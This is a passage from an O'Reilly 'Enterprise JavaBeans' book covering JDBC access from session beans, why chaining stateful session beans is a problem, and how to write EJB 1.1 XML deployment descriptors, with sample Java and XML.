        ps.setDouble(4, price);
        if (ps.executeUpdate() != 1) {
        throw new RemoteException (
            "Failed to add Reservation to database");
        }
        // Insert payment.
        ps = con.prepareStatement("insert into PAYMENT "+
            "(CUSTOMER_ID, AMOUNT, TYPE, CREDIT_NUMBER, CREDIT_EXP_DATE) "+
            "values(?,?,?,?,?)");
        ps.setInt(1, customerID);
        ps.setDouble(2, price);
        ps.setString(3, card.type);
        ps.setLong(4, card.number);
        ps.setDate(5, new java.sql.Date(card.experation.getTime()));
        if (ps.executeUpdate() != 1) {
        throw new RemoteException (
            "Failed to add Reservation to database");
        }
        Ticket ticket = new Ticket(customerID,cruiseID,cabinID,price);
        return ticket;

    } catch (SQLException se) {
      throw new RemoteException (se.getMessage());
    }
    finally {
      try {
        if (ps != null) ps.close();
        if (con!= null) con.close();
      } catch(SQLException se){
        se.printStackTrace();
      }
    }
}

No mystery here: we have simply redefined the TravelAgent bean so that it works directly with the data through JDBC rather than using entity beans. This method is transactionally safe because an exception thrown anywhere within the method will cause all the database inserts to be rolled back. Very clean and simple.

The idea behind this strategy is to continue to model workflow or processes with session beans. The TravelAgent bean models the process of making a reservation. Its conversational state can be changed over the course of a conversation, and safe database changes can be made based on the conversational state.

9.9.2.2. Direct access with object-to-relational mapping tools

Object-to-relational mapping provides another mechanism for "direct" access to data in a stateful session bean. The advantage of object-to-relational mapping tools is that data can be encapsulated as object-like entity beans. So, for example, an object-to-relational mapping approach could end up looking very similar to our entity bean design. The problem with object-to-relational mapping is that most tools are proprietary and may not be reusable across EJB servers. In other words, the object-to-relational tool may bind you to one brand of EJB server. Object-to-relational mapping tools are, however, a much more expedient, safe, and productive mechanism to obtaining direct database access when entity beans are not available.

Previous | Home | Next
9.8. Object-to-Relational Mapping Tools | Book Index | 9.10. Avoid Chaining Stateful Session Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Avoid Chaining Stateful Session Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

9.10. Avoid Chaining Stateful Session Beans

In developing session-only systems you will be tempted to use stateful session beans from inside other stateful session beans. While this appears to be a good modeling approach, it's problematic. Chaining stateful session beans can lead to problems when beans time out or throw exceptions that cause them to become invalid. Figure 9-1 shows a chain of stateful session beans, each of which maintains conversational state that other beans depend on to complete an operation encapsulated by bean A.

Figure 9-1. Chain of stateful session beans

If any one of the beans in this chain times out, say bean B, the conversational state trailing that bean is lost. If this conversational state was built up over a long time, considerable work can be lost. The chain of stateful session beans is only as strong as its weakest link. If one bean times out or becomes invalid, the entire conversational state on which bean A depends becomes invalid. Avoid chaining stateful session beans.

Using stateless session beans from within stateful session beans is not a problem, because a stateless session bean does not maintain any conversational state. Use stateless session beans from within stateful session beans as much as you need.

Using a stateful session bean from within a stateless session bean is almost nonsensical because the benefit of the stateful session bean's conversational state cannot be leveraged beyond the scope of the stateless session bean's method.

Previous | Home | Next
9.9. When Entity Beans Are Not an Option | Book Index | 10. XML Deployment Descriptors
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


XML Deployment Descriptors (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 10. XML Deployment Descriptors

Contents:

What Is an XML Deployment Descriptor?
The Contents of a Deployment Descriptor
The Document Header
The Descriptor's Body
Describing Beans
Describing Bean Assembly
The ejb-jar File

10.1. What Is an XML Deployment Descriptor?

One of the biggest changes between EJB 1.0 and 1.1 is the introduction of XML deployment descriptors. In EJB 1.0, deployment descriptors were serialized Java objects; you wrote a program that set up an appropriate DeploymentDescriptor, and then serialized that object. This approach was clumsy at best, even for experienced developers. XML deployment descriptors are much easier to edit, even without special tools for editing XML files. An XML deployment descriptor is simple enough that it's easy to create a descriptor using nothing more than your favorite text editor, be it Notepad, Emacs, or vi.

This chapter discusses what goes into an XML deployment descriptor; it teaches you how to write deployment descriptors for your beans. Keep in mind that you may never need to write a deployment descriptor by hand; most vendors of integrated development tools and EJB servers will provide tools for creating the descriptor automatically. Even if you have such a tool available, however, you should be familiar enough with deployment descriptors to be able to read them on your own.

This chapter doesn't attempt to teach you how to read or write correct XML. There are many books on the subject; a good quick reference is XML Pocket Reference by Bob Eckstein (O'Reilly). Very briefly, XML looks like HTML, but with different tag names and different attributes inside the tags. You won't see <h1> and <p> inside a deployment descriptor; you'll see tags like <ejb-jar>. But otherwise, if you expect an XML document to look like HTML, you're most of the way toward reading it. The tag names and attribute names for an XML document are defined by a special document called a DTD (Document Type Definition). Therefore, for XML deployment descriptors, there is a DTD that defines the tags and attributes that can be used in the document; the DTD for EJB 1.1 deployment descriptors is available online at http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd.

There are a few other important differences between XML and HTML. XML is much more strict; many things that are acceptable in HTML are errors in XML. This shouldn't make a difference if you're just reading a deployment descriptor, but if you're writing one, you have to be careful. Two differences are particularly important: XML is case sensitive. You can't mix upper- and lowercase in your tag names. HTML doesn't care about the difference between <h1> and <H1>, but XML does. All of the tags and attributes used in deployment descriptors are lower case. In addition, XML will not forgive you if you don't supply closing tags. In HTML, it was okay to write <p>...<p>, without ever putting in </p> to end the paragraph. XML never allows you to be sloppy. Whenever you have a tag, there must always be a closing tag.

And that's about it. These few paragraphs don't even qualify as a quick introduction to XML, but the basic ideas are very simple, and that's really all you should need to get going.

Previous | Home | Next
9.10. Avoid Chaining Stateful Session Beans | Book Index | 10.2. The Contents of a Deployment Descriptor
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Contents of a Deployment Descriptor (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

10.2. The Contents of a Deployment Descriptor

We've discussed XML deployment descriptors throughout this book. At this point, you probably know enough to write deployment descriptors on your own. However, it's still worthwhile to take a tour through a complete deployment descriptor. Here's the deployment descriptor for the Cabin bean, which we created in Chapter 4, "Developing Your First Enterprise Beans". It contains most of the tags that are needed to describe entity beans, and session beans aren't much different. We'll use this deployment descriptor to guide our discussion in the following sections.

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
 <enterprise-beans>
   <entity>
      <description>
            This Cabin enterprise bean entity represents a cabin on
            a cruise ship.
      </description>
      <ejb-name>CabinBean</ejb-name>
      <home>com.titan.cabin.CabinHome</home>
      <remote>com.titan.cabin.Cabin</remote>
      <ejb-class>com.titan.cabin.CabinBean</ejb-class>
      <persistence-type>Container</persistence-type>
      <prim-key-class>com.titan.cabin.CabinPK</prim-key-class>
      <reentrant>False</reentrant>

      <cmp-field><field-name>id</field-name></cmp-field>
      <cmp-field><field-name>name</field-name></cmp-field>
      <cmp-field><field-name>deckLevel</field-name></cmp-field>
      <cmp-field><field-name>ship</field-name></cmp-field>
      <cmp-field><field-name>bedCount</field-name></cmp-field>
   </entity>
 </enterprise-beans>

 <assembly-descriptor>
   <security-role>
      <description>
         This role represents everyone who is allowed full access
         to the cabin bean.
      </description>
     <role-name>everyone</role-name>
   </security-role>

   <method-permission>
     <role-name>everyone</role-name>
     <method>
         <ejb-name>CabinBean</ejb-name>
         <method-name>*</method-name>
     </method>
   </method-permission>

   <container-transaction>
     <method>
        <ejb-name>CabinBean</ejb-name>
        <method-name>*</method-name>
     </method>
     <trans-attribute>Required</trans-attribute>
   </container-transaction>
 </assembly-descriptor>
</ejb-jar>
Previous | Home | Next
10.1. What Is an XML Deployment Descriptor? | Book Index | 10.3. The Document Header
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Document Header (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

10.3. The Document Header

All XML documents start with a few tags that provide general information about the document itself. The first tag specifies the version of XML that is in use:

<?xml version="1.0"?>

This tag identifies the document as an XML document that adheres to Version 1.0 of the XML specification.

The next tag specifies the DTD that defines the document:

<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

This tag provides the URL from which you (or, more important, tools processing the deployment descriptor) can download the document. The DTD can be used to validate the XML document; this means that the EJB server deploying the bean can download the DTD and use it to prove that your deployment descriptor is correct (i.e., that it is organized correctly uses the right tag names, and that all the tags and attributes have appropriate parameters).

This tag also identifies the name of the document's root element, which is ejb-jar. The <ejb-jar> tag marks the beginning of the document proper.

Previous | Home | Next
10.2. The Contents of a Deployment Descriptor | Book Index | 10.4. The Descriptor's Body
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Descriptor's Body (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

10.4. The Descriptor's Body

The body of any XML document begins and ends with the tag for the document's "root element," which is defined by the DTD. For a deployment descriptor, the root element is named ejb-jar, and looks like this:

<ejb-jar>
... other elements ...
</ejb-jar>

All other elements must be nested within the ejb-jar element. You can place the following kinds of elements within ejb-jar:

<description> (optional)

The description element can be used to provide a description of this deployment descriptor. This element can be used in many contexts within a deployment descriptor: to describe the descriptor as a whole, to describe particular beans, to describe particular security roles, etc. The Cabin bean deployment descriptor doesn't use a description element for the deployment descriptor as a whole, but it does provide a description for the Cabin bean itself.

<display-name> (optional)

The display-name element is used by tools (like a deployment wizard) that are working with the deployment descriptor. It provides a convenient visual label for the entire JAR file and individual bean components.

<small-icon> and <large-icon> (optional)

These elements point to files within the JAR file that provide icons that a deployment wizard or some other tool can use to represent the JAR file. Icons must be image files in either the JPEG or GIF format. Small icons must be 16 × 16 pixels; large icons must be 32 × 32 pixels. These icon elements are also used in the entity and session elements to represent individual bean components.

<enterprise-beans> (one required)

The enterprise-beans element contains descriptions of the bean or beans that are contained in this JAR file. A deployment descriptor must have one, and only one, enterprise-beans element. Within this element, entity and session elements describe the individual beans.

<ejb-client-jar> (optional)

The ejb-client-jar provides the path of the client JAR, which normally contains all the classes (including stubs, remote and home interface classes, etc.) that the client will need to access the beans defined in the deployment descriptor. How client JAR files are organized and delivered to the client is not specified--consult your vendor's documentation.

<assembly-descriptor> (optional)

The application assembler or bean developer adds an assembly-descriptor element to the deployment descriptor to define how the beans are used in an actual application. The assembly-descriptor contains a number of elements that define the security roles used to access the bean, the method permissions that govern which roles can call different methods, and transactional attributes.

All of these elements are quite simple, except for the enterprise-beans element and the assembly-descriptor element. These two elements contain a lot of other material nested within them. We'll look at the enterprise-beans element first.

Previous | Home | Next
10.3. The Document Header | Book Index | 10.5. Describing Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Describing Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

10.5. Describing Beans

The beans contained in a JAR file are described within the deployment descriptor's enterprise-beans element. So far, we've only talked about deployment descriptors for a single bean, but there's no reason that you can't package several beans in a JAR file and describe them all within a single deployment descriptor. We could, for example, have deployed the TravelAgent, ProcessPayment, Cruise, Customer, and Reservation beans in the same JAR file. The deployment descriptor would look something like this:

<?xml version="1.0"?>
<!DOCTYPE ejb-jar PUBLIC "-//Sun Microsystems, Inc.//DTD Enterprise
JavaBeans 1.1//EN" "http://java.sun.com/j2ee/dtds/ejb-jar_1_1.dtd">

<ejb-jar>
 <description>
    This Deployment includes all the beans needed to make a reservation:
    TravelAgent, ProcessPayment, Reservation, Customer, Cruise, and Cabin.
 </description>
 <enterprise-beans>
   <session>
      <ejb-name>TravelAgentBean</ejb-name>
      <remote>com.titan.travelagent.TravelAgent</remote>
      ...
   </session>
   <entity>
      <ejb-name>CustomerBean</ejb-name>
      <remote>com.titan.customer.Customer</remote>
      ...
   </entity>
   <session>
      <ejb-name>ProcessPaymentBean</ejb-name>
      <remote>com.titan.processpayment.ProcessPayment</remote>
      ...
   </session>
   ...
 </enterprise-beans>
 <assembly-descriptor>
 ...
 </assembly-descriptor>
 ...
</ejb-jar>

In this descriptor, the enterprise-beans element contains two session elements and one entity element describing the three beans. Other elements within the entity and session elements provide detailed information about the beans; as you can see, the ejb-name element defines the bean's name. We'll discuss all of the things that can go into a bean's description later.

Multiple bean deployments have the advantage that they can share assembly information, which is defined in the assembly-descriptor element that follows the enterprise-beans element. In other words, beans can share security and transactional declarations, making it simpler to deploy them consistently. For example, deployment is easier if the same logical security roles control access to all the beans, and it's easiest to guarantee that the roles are defined consistently if they are defined in one place. It's also easier to ensure that the transactional attributes are applied consistently to all beans because you can declare them all at the same time.

10.5.1. Session and Entity Beans

The session and entity elements, which are used to describe session and entity beans, usually contain many elements nested within them, but the lists of allowable subelements are similar. Therefore, we'll discuss the session and entity elements together.

Like the ebj-jar element itself, a session or an entity element can optionally have description, display-name, small-icon, and large-icon elements. These are fairly self-explanatory and, in any case, mean the same as they did for the ejb-jar element. The description lets you provide a comment that describes the bean; the display-name is used by deployment tools to represent the bean; and the two icons are used to represent the bean in visual environments. The icons must point to JPEG or GIF images within the JAR file.

The other elements are more interesting:

<ejb-name> (one required)

This is the name of the bean component. It is used in the methodx element to scope method declarations to the correct bean. Throughout this book, we use ejb-names of the form "Name Bean" as the ejb-name for bean. Other common conventions use the ejb-names of the form "Name EJB" or "TheName."

<home> (one required)

This is the fully qualified class name of the bean's home interface.

<remote> (one required)

This is the fully qualified class name of the bean's remote interface.

<ejb-class> (one required)

This is the fully qualified class name of the bean class.

<primkey-field> (optional; entity beans only)

This element is used to specify the primary key field for entity beans that use container-managed persistence. Its value is the name of the field that is used as the primary key. It is not used if the bean has a custom primary key or if the entity bean manages its own persistence. This element is discussed in more detail in Section 10.5.2, "Specifying Primary Keys", later in this chapter.

<prim-key-class> (one required; entity beans only)

This element specifies the class of the primary key for entity beans. Its value is the fully qualified name of the primary key class; it makes no difference whether you're using a custom compound primary key like the CabinPK, or a simple primkey-field like an Integer, String, Date, etc. If you defer definition of the primary key class to the deployer, specify the type as java.lang.Object in this element.

<persistence-type> (one required; entity beans only)

The persistence-type element declares that the entity bean uses either container-managed persistence or bean-managed persistence. This element can have one of two values: Container or Bean.

<reentrant> (one required; entity beans only)

The reentrant element declares that the bean either allows loopbacks (reentrant invocations) or not. This element can have one of two values: True or False. True means that the bean allows loopbacks; False means that the bean throws an exception if a loopback occurs.

<cmp-field> (zero or more; entity beans only)

This element is used in entity beans with container-managed persistence. A cmp-field element must exist for each container-managed field in the bean class. Each cmp-field element may include a description element and must include a field-name element. The description is an optional comment describing the field. The field-name is required and must be the name of one of the bean's fields. The container will manage persistence for the given field. The following portion of a descriptor shows several cmp-field declarations for the Cabin bean:

<cmp-field>
  <description>This is the primary key</description>
  <field-name>id</field-name>
</cmp-field>
<cmp-field>
  <field-name>name</field-name>
</cmp-field>
<cmp-field>
  <field-name>deckLevel</field-name>
</cmp-field>
<cmp-field>
  <field-name>ship</field-name>
</cmp-field>
<cmp-field>
  <field-name>bedCount</field-name>
</cmp-field>
<env-entry> (zero or more)

This element declares an environment entry that is available through the JNDI ENC. The use of environment entries in a bean and a deployment descriptor is discussed further in Section 10.5.3, "Environment Entries".

<ejb-ref> (zero or more)

This element declares a bean reference that is available through the JNDI ENC. The mechanism for making bean references available through the ENC is described in more detail later, in Section 10.5.4, "References to Other Beans".

<resource-ref> (zero or more)

This element declares a reference to a connection factory that is available through the JNDI ENC. An example of a resource factory is the javax.sql.DataSource, which is used to obtain a connection to a database. This element is discussed in detail in Section 10.5.4, "References to Other Beans" later in this chapter.

<security-role-ref> (zero or more)

The security-role-ref element is used to declare security roles in the deployment descriptor, and map them into the security roles in effect for the bean's runtime environment. This element is described in more detail in Section 10.5.6, "Security Roles".

<session-type> (one required; session beans only)

The session-type element declares that a session bean is either stateful or stateless. This element can have one of two values: Stateful or Stateless.

<transaction-type> (one required; session beans only)

The transaction-type element declares that a session bean either manages its own transactions, or that its transactions are managed by the container. This element can have one of two values: Bean or Container. A bean that manages its own transactions will not have container-transaction declarations in the assembly-descriptor section of the deployment descriptor.

10.5.2. Specifying Primary Keys

An entity bean does not always have to use a custom key class as a primary key. If there's a single field in the bean that can serve naturally as a unique identifier, you can use that field as the primary key without having to create a custom key. In the Cabin bean, for example, the primary key type was the CabinPK, which mapped to the bean class field id as shown here (the CabinBean is using bean-managed persistence to better illustrate):

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;
    public int ship;
    public int bedCount;

    public CabinPK ejbCreate(int id) {
        this.id = id;
        return new CabinPk(id);
    }
    ...
}

Instead of using the custom CabinPK class, we could have used the appropriate primitive wrapper, java.lang.Integer, and defined the CabinBean as:

public class CabinBean implements javax.ejb.EntityBean {

    public int id;
    public String name;
    public int deckLevel;
    public int ship;
    public int bedCount;

    public Integer ejbCreate(int id){
        this.id = id;
        return new Integer(id);
    }
    ...
}

This simplifies things a lot. Instead of taking the time to define a custom primary key like CabinPK, we simply use the appropriate wrapper. To do this, we need to add a primkey-field element to the Cabin bean's deployment descriptor, so that it knows which field to use as the primary key. We also need to change the prim-key-class element to state that the Integer class is being used to represent the primary key. The following code shows how the Cabin bean's deployment descriptor would need to change to use Integer as the primary key field:

  <entity>
      <description>
            This Cabin enterprise bean entity represents a cabin on
            a cruise ship.
      </description>
      <ejb-name>CabinBean</ejb-name>
      <home>com.titan.cabin.CabinHome</home>
      <remote>com.titan.cabin.Cabin</remote>
      <ejb-class>com.titan.cabin.CabinBean</ejb-class>
      <persistence-type>Bean</persistence-type>
      <prim-key-class>java.lang.Integer</prim-key-class>
      <primkey-field>id</primkey-field>
      <reentrant>False</reentrant>

      <cmp-field><field-name>id</field-name></cmp-field>
      <cmp-field><field-name>name</field-name></cmp-field>
      <cmp-field><field-name>deckLevel</field-name></cmp-field>
      <cmp-field><field-name>ship</field-name></cmp-field>
      <cmp-field><field-name>bedCount</field-name></cmp-field>
   </entity>

Simple primary key fields are not limited to the primitive wrapper classes (Byte, Boolean, Integer, etc.); any container-managed field can be used as a primary key as long as it's serializable. String types are probably the most common, but other types, such as java.lang.StringBuffer, java.util.Date, or even java.util.Hashtable are also valid. Custom types can also be primkey-fields providing that they are serializable. Of course, common sense should be used when choosing a primary key: because it is used as an index to the data in the database, it should be lightweight. Here's code for a bean that uses a Date as its primary key:

// bean class that uses Date as a primary key
public class HypotheticalBean implements javax.ejb.EntityBean {
    public Date creationDate;
    ...
    public Date ejbCreate() {
      creationDate = new Date();
      return creationDate;
   }
...
}

And here's the corresponding section of the deployment descriptor:

// primkey-field declaration for the Hypothetical bean
...
<entity>
      <ejb-name>HypotheticalBean</ejb-name>
      ...
      <prim-key-class>java.util.Date</prim-key-class>
      <primkey-field>creationDate</primkey-field>
      <reentrant>False</reentrant>

      <cmp-field><field-name>creationDate</field-name></cmp-field>
      ...
</entity>

Throughout the book we use custom compound primary keys, like ShipPK and CabinPK, instead of using simple primary keys. This may seem strange because these custom primary keys only wrap a single field, usually an integer, which could have been represented by an Integer and used as the primkey-field.

The reason we use custom primary keys is simple: encapsulation. If the primary key fields of the beans change over time, using a custom key hides the changes from client applications that use the key. If, for example, the CabinBean changed to use both a String and a long primitive as the primary key fields instead of a single integer field (id), the Cabin bean's custom primary key class (CabinPK) would hide this change from the client application. If, however, we had used a primkey-field of java.lang.Integer, any client applications that use the findByPrimaryKey() method (and other similar operations involving the key) would have to be modified.

10.5.2.1. Deferring primary key definition

With container-managed persistence, it's also possible for the bean developer to defer defining the primary key, leaving key definition to the bean deployer. This feature might be needed if, for example, the primary key is generated by the database and is not a container-managed field in the bean class. Containers that have a tight integration with database or legacy systems that automatically generate primary keys might use this approach. It's also an attractive approach for vendors that sell shrink-wrapped beans because it makes the bean more portable. The following code shows how an entity bean using container-managed persistence defers the definition of the primary key to the deployer:

// bean class for bean that uses a deferred primary key
public class HypotheticalBean implements javax.ejb.EntityBean {
    ...
    public java.lang.Object ejbCreate(){
      ...
      return null;
   }
...
}

// home interface for bean with deferred primary key
public interface HypotheticalHome extends javax.ejb.EJBHome {

    public Hypothetical create() throws ...;

    public Hypothetical findByPrimaryKey(java.lang.Object key) throws ...;
}

Here's the relevant portion of the deployment descriptor:

// primkey-field declaration for the Hypothetical bean
...
<entity>
      <ejb-name>HypotheticalBean</ejb-name>
      ...
      <persistence-type>Container</persistence-type>
      <prim-key-class>java.lang.Object</prim-key-class>
      <reentrant>False</reentrant>

      <cmp-field><field-name>creationDate</field-name></cmp-field>
      ...
</entity>

Because the primary key is of type java.lang.Object, the client application's interaction with the bean's key is limited to the Object type and its methods.

10.5.3. Environment Entries

A deployment descriptor can define environment entries, which are values similar to properties that the bean can read when it is running. The bean can use environment entries to customize its behavior, find out about how it is deployed, etc.

The env-entry element is used to define environment entries. This element contains a description element (optional), env-entry-name (required), env-entry-type (required), and env-entry-value (optional). Here is a typical env-entry declaration:

<env-entry>
  <env-entry-name>minCheckNumber</env-entry-name>
  <env-entry-type>java.lang.Integer</env-entry-type>
  <env-entry-value>2000</env-entry-value>
</env-entry>

The env-entry-name is relative to the "java:comp/env" context. For example, the minCheckNumber entry can be accessed using the path "java:comp/env/minCheckNumber" in a JNDI ENC lookup:

InitialContext jndiContext = new InitialContext();
Integer miniumValue = (Integer)
    jndiContext.lookup("java:comp/env/minCheckNumber");

The env-entry-type can be of type String, or one of several primitive wrapper types including Integer, Long, Double, Float, Byte, Boolean, and Short.

The env-entry-value is optional. The value can be specified by the bean developer or deferred to the application assembler or deployer.

The subcontext "java:comp/env/ejb10-properties" can be used to make an entry available via the EJBContext.getEnvironment() method. This feature has been deprecated, but it may help you deploy EJB 1.0 beans within a EJB 1.1 server. The ejb-entry-type must always be java.lang.String for entries in this subcontext. Here's an example:

<env-entry>
  <description>This property is available through
     EJBContext.getEnvironment()</description>
  <env-entry-name>ejb10-properties/minCheckNumber</env-entry-name>
  <env-entry-type>java.lang.String</env-entry-name>
  <env-entry-value>20000</env-entry-value>
</env-entry>

10.5.4. References to Other Beans

The env-ref element is used to define references to other beans within the JNDI ENC. This makes it much easier for beans to reference other beans; they can use JNDI to look up a reference to the home interface for any beans that they are interested in.

The env-ref element contains description (optional), ejb-ref-name (required), ejb-ref-type (required), remote (required), home (required), and ejb-link (optional) elements. Here is a typical env-ref declaration:

<ejb-ref>
    <ejb-ref-name>ejb/CabinHome</ejb-ref-name>
    <ejb-ref-type>Entity</ejb-ref-type>
    <home>com.titan.cabin.CabinHome</home>
    <remote>com.titan.cabin.Cabin</remote>
</ejb-ref>

The ejb-ref-name is relative to the "java:comp/env" context. It is recommended, but not required, that the name be placed under a subcontext of ejb/. Following this convention, the path used to access the Cabin bean's home would be "java:comp/env/ejb/CabinHome". The following code shows how a client bean would use this context to look up a reference to the Cabin bean:

InitialContext jndiContext = new InititalContext();
Object ref = jndiContext.lookup("java:comp/env/ejb/CabinHome");
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref, CabinHome.class);

The ejb-ref-type can have one of two values: Entity or Session, according to whether the bean is an entity or a session bean.

The home element specifies the fully qualified class name of the bean's home interface; the remote element specifies the fully qualified class name of the bean's remote interface.

If the bean referenced by the ejb-ref element is deployed in the same deployment descriptor (it is defined under the same ejb-jar element), the ejb-ref element can be linked to the bean's declaration using the ejb-link element. If, for example, the TravelAgent bean uses references to the ProcessPayment and Customer beans and they are all declared in the same deployment descriptor, then the ejb-ref elements for the TravelAgent bean can use an ejb-link element to map its ejb-ref elements to the ProcessPayment and Customer beans. The ejb-link value must match one of the ejb-name values declared in the same deployment descriptor. Here's a portion of a deployment descriptor that uses the ejb-link element:

<ejb-jar>
<enterprise-beans>
   <session>
      <ejb-name>TravelAgentBean</ejb-name>
      <remote>com.titan.travelagent.TravelAgent</remote>
      ...
      <ejb-ref>
           <ejb-ref-name>ejb/ProcessPaymentHome</ejb-ref-name>
           <ejb-ref-type>Session</ejb-ref-type>
           <home>com.titan.processpayment.ProcessPaymentHome</home>
           <remote>com.titan.processpayment.ProcessPayment</remote>
           <ejb-link>ProcessPaymentBean</ejb-link>
      </ejb-ref>
      <ejb-ref>
           <ejb-ref-name>ejb/CustomerHome</ejb-ref-name>
           <ejb-ref-type>Entity</ejb-ref-type>
           <home>com.titan.customer.CustomerHome</home>
           <remote>com.titan.customer.Customer</remote>
           <ejb-link>CustomerBean</ejb-link>
      </ejb-ref>
   </session>
   <entity>
      <ejb-name>CustomerBean</ejb-name>
      <remote>com.titan.customer.Customer</remote>
      ...
   </entity>
   <session>
      <ejb-name>ProcessPaymentBean</ejb-name>
      <remote>com.titan.processpayment.ProcessPayment</remote>
      ...
   </session>
   ...
 </enterprise-beans>
 ...
</ejb-jar>

10.5.5. References to External Resources

Beans also use the JNDI ENC to look up external resources, like database connections, that they need to access. The mechanism for doing this is similar to the mechanism used for referencing other beans and environment entries: the external resources are mapped into a name within the JNDI ENC name space. For external resources, the mapping is performed by the resource-ref element.

The resource-ref element contains description (optional), res-ref-name (required), res-type (required), and res-auth (required) elements. Here is a resource-ref declaration used for a DataSource connection factory:

<resource-ref>
   <description>DataSource for the Titan database</description>
   <res-ref-name>jdbc/titanDB</res-ref-name>
   <res-type>javax.sql.DataSource</res-type>
   <res-auth>Container</res-auth>
</resource-ref>

The res-ref-name is relative to the "java:comp/env" context. Although it is not a requirement, it's a good idea to place connection factories under a subcontext that describes the resource type. For example:

  • jdbc/ for a JDBC DataSource factory

  • jms/ for a JMS QueueConnectionFactory or a TopicConnectionFactory factory

  • mail/ for a JavaMail Session factory

  • url/ for a javax.net.URL factory

Here is how a bean would use JNDI to look up a resource--in this case, a DataSource:

InitialContext jndiContext = new InitialContext();
DataSource source = (DataSource)
    jndiContext.lookup("java:comp/env/jdbc/titanDB");

The res-type is used to declare the fully qualified class name of the connection factory. In this example, the res-type is javax.sql.DataSource.

The res-auth tells the server who is responsible for authentication. It can have one of two values: Container or Application. If Container is specified, authentication (sign-on or login) to use the resource will be performed automatically by the container as specified at deployment time. If Application is specified, the bean itself must perform the necessary authentication before using the resource. The following code shows how a bean might sign on to a connection factory when Application is specified for res-auth:

InitialContext jndiContext = new InitialContext();
DataSource source = (DataSource)
    jndiContext.lookup("java:comp/env/jdbc/titanDB");

String loginName = ejbContext.getCallerPrincipal().getName();
String password = ...; // get password from somewhere

// use login name and password to obtain a database connection
java.sql.Connection con = source.getConnection(loginName, password);

10.5.6. Security Roles

The security-role-ref element is used to define the security roles that are used by a bean and to map them into the security roles that are in effect for the runtime environment. It can contain three subelements: an optional description, a role-name (required), and an optional role-link.

Here's how security roles are defined. When a role name is used in the EJBContext.isCallerInRole(String roleName) method, the role name must be statically defined (it cannot be derived at runtime) and it must be declared in the deployment descriptor using the security-role-ref element:

<-- security-role-ref declaration for Account bean -->
<entity>
  <ejb-name>AccountBean</ejb-name>
  ...
  <security-role-ref>
    <description>
        The caller must be a member of this role in
        order to withdraw over $10,000
    </description>
    <role-name>Manager</role-name>
    <role-link>Administrator</role-link>
  </security-role-ref>
  ..
</entity>

The role-name defined in the deployment descriptor must match the role name used in the EJBContext.isCallerInRole() method. Here is how the role name is used in the bean's code:

// Account bean uses the isCallerInRole() method
public class AccountBean implements EntityBean {
    int id;
    double balance;
    EntityContext context;

    public void withdraw(Double withdraw)
    throws AccessDeniedException {

        if (withdraw.doubleValue() > 10000) {
           boolean isManager = context.isCallerInRole("Manager");
           if (!isManager) {
              // only Managers can withdraw more than 10k
              throw new AccessDeniedException();
           }
        }
        balance = balance - withdraw.doubleValue();

    }
    ...
}

The role-link element is optional; it can be used to map the role name used in the bean to a logical role defined in a security-role element in the assembly-descriptor section of the deployment descriptor. If no role-link is specified, the deployer must map the security-role-ref to an existing security role in the target environment.

Previous | Home | Next
10.4. The Descriptor's Body | Book Index | 10.6. Describing Bean Assembly
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Describing Bean Assembly (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

10.6. Describing Bean Assembly

At this point, we've said just about all that can be said about the bean itself. We've come to the end of the enterprise-beans element, and are now ready to describe how the beans are assembled into an application. That is, we are ready to talk about the other major element inside the ejb-jar element: the assembly-descriptor element.

The assembly-descriptor element is optional, though it's difficult to imagine a bean being deployed successfully without an assembly-descriptor. When we say that the assembly-descriptor is optional, we really mean that a developer whose only role is to create enterprise beans (for example, someone who is developing beans for use by another party and who has no role in deploying the beans) can omit this part of the deployment descriptor. The descriptor is valid without it--but someone will almost certainly have to fill in the assembly information before the bean can be deployed.

The assembly descriptor serves three purposes. It describes the transactional attributes of the bean's methods; it describes the logical security roles that are used in the method permissions; and it specifies method permissions (i.e., which roles are allowed to call each of the methods). To this end, an assembly-descriptor can contain three kinds of elements, each of which is fairly complex in its own right. These are:

<container-transaction> (zero or more)

This element declares which transactional attributes apply to which methods. It contains an optional description element, one or more method elements, and exactly one trans-attribute element. Entity beans must have container-transaction declarations for all remote and home interface methods. Session beans that manage their own transactions will not have container-transaction declarations. This element is discussed in more detail in Section 10.6.1, "Specifying a Bean's Transactional Attributes".

<security-role> (zero or more)

The security-role element defines the security roles that are used when accessing a bean. These security roles are used in the method-permission element. A security-role element contains an optional description and one role-name. This element and the method-permission element are described in more detail in Section 10.6.2, "Specifying Security Roles and Method Permissions".

<method-permission> (zero or more)

This element specifies which security roles are allowed to call one or more of a bean's methods. It contains an optional description, one or more role-name elements, and one or more method elements. It is discussed in more detail in the Section 10.6.2, "Specifying Security Roles and Method Permissions" along with the security-role element.

The container-transaction and method-permission elements both rely on the ability to identify particular methods. This can be a complicated affair, given features of the Java language like method overloading. The method element is used within these tags to identify methods; it is described at length in Section 10.6.3, "Identifying Specific Methods".

10.6.1. Specifying a Bean's Transactional Attributes

The container-transaction elements are used to declare the transaction attributes for all the beans defined in the deployment descriptor. A container-transaction element maps many bean methods to a single transaction attribute, so each container-transaction specifies one transaction attribute and one or more bean methods.

